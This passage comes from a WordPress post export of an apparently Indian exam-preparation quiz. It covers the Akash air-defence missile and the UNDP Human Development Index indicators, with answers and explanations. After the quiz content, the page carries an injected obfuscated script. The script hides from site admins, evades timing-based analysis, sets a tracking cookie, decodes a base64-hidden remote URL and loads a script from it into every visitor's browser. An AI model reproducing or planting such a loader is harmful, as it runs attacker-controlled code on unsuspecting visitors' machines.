incorrect.<\/em><\/strong><\/li>\n\n\n\n<li>Akash is designed to provide air defence cover to the vulnerable areas and critical installations.<\/li>\n\n\n\n<li><strong>The system can simultaneously engage multiple aerial targets such as enemy aircraft, missiles, and unmanned aerial vehicles (UAVs)<\/strong>.<strong>.<em>Hence statement 2 is correct<\/em><\/strong><\/li>\n\n\n\n<li>The development of Akash began in the late 1980s as a part of the DRDO\u2019s Integrated Guided Missile Development Programme.<\/li>\n\n\n\n<li>The early systems trials, field trials and target neutralisation trials were conducted in the late 1990s and early 2000s.<\/li>\n\n\n\n<li>These were followed by the extensive user trials by the IAF and Army; the IAF inducted Akash into in 2014, and the Army in 2015. Both the IAF and the Army currently have multiple squadrons\/groups operating the missile system.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"602\" height=\"163\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/05\/image-4.jpg\" alt=\"\" class=\"wp-image-2080\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/05\/image-4.jpg 602w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/05\/image-4-300x81.jpg 300w\" sizes=\"auto, (max-width: 602px) 100vw, 602px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/indianexpress.com\/article\/explained\/story-of-indias-akash-missiles-that-nullified-pakistans-aerial-attacks-10007248\/\" target=\"_blank\" rel=\"noopener\">https:\/\/indianexpress.com\/article\/explained\/story-of-indias-akash-missiles-that-nullified-pakistans-aerial-attacks-10007248\/<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>10. Consider the following:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\">1. life expectancy at birth<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\">2. Expected years of schooling<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\">3. Mean years of schooling<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\">4. Gross national income (GNI) per capita.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\"><strong>How many of the above is\/are indicators of the Human Development Report?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\">(c) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\">(d) All four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\"><strong>Answer:&nbsp; (d) <\/strong>All four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>In News: <\/strong>United Nations Development Programme (UNDP) released its latest Human Development Report (HDR) titled \u201cA matter of choice: People and possibilities in the age of AI.\u201d<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-120\">\n<li>According to UNDP, \u201cHuman Development Reports (HDRs) have been released most years since 1990 and have explored different themes through the human development approach.<\/li>\n\n\n\n<li>They have had an extensive influence on development debate worldwide.\u201d The Human Development Report Office produces it for the United Nations Development Programme (UNDP).<\/li>\n\n\n\n<li><strong>HDI is composite index that measures average achievement in human development taking into account four indicators: life expectancy at birth (Sustainable Development Goal 3); expected years of schooling (SDG 4.3); mean years of schooling (SDG 4.4); and gross national income (GNI) per capita (2017 PPP$) (SDG 8.5). <em>Hence option d is correct.<\/em><\/strong><\/li>\n\n\n\n<li>According to UNDP, the cutoff-points of classification of countries based on HDI value are \u201cHDI of less than 0.550 for low human development, 0.550\u20130.699 for medium human development, 0.700\u20130.799 for high human development and 0.800 or greater for very high human development.\u201d<\/li>\n\n\n\n<li>The report noted that India\u2019s HDI value has increased by over 53% since 1990, showing a growth faster than both the global and South Asian averages. The targeted social protection and welfare programmes, and economic growth are cited as reasons for the progress.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/indianexpress.com\/article\/upsc-current-affairs\/upsc-essentials\/knowledge-nugget-human-development-report-index-hdr-indicies-upsc-10005196\/\" target=\"_blank\" rel=\"noopener\"><strong>Knowledge Nugget: Why Human Development Report 2025 is UPSC essential<\/strong><\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>With reference to the appointment of the Chief Justice of India (CJI), consider the following statements: 1. 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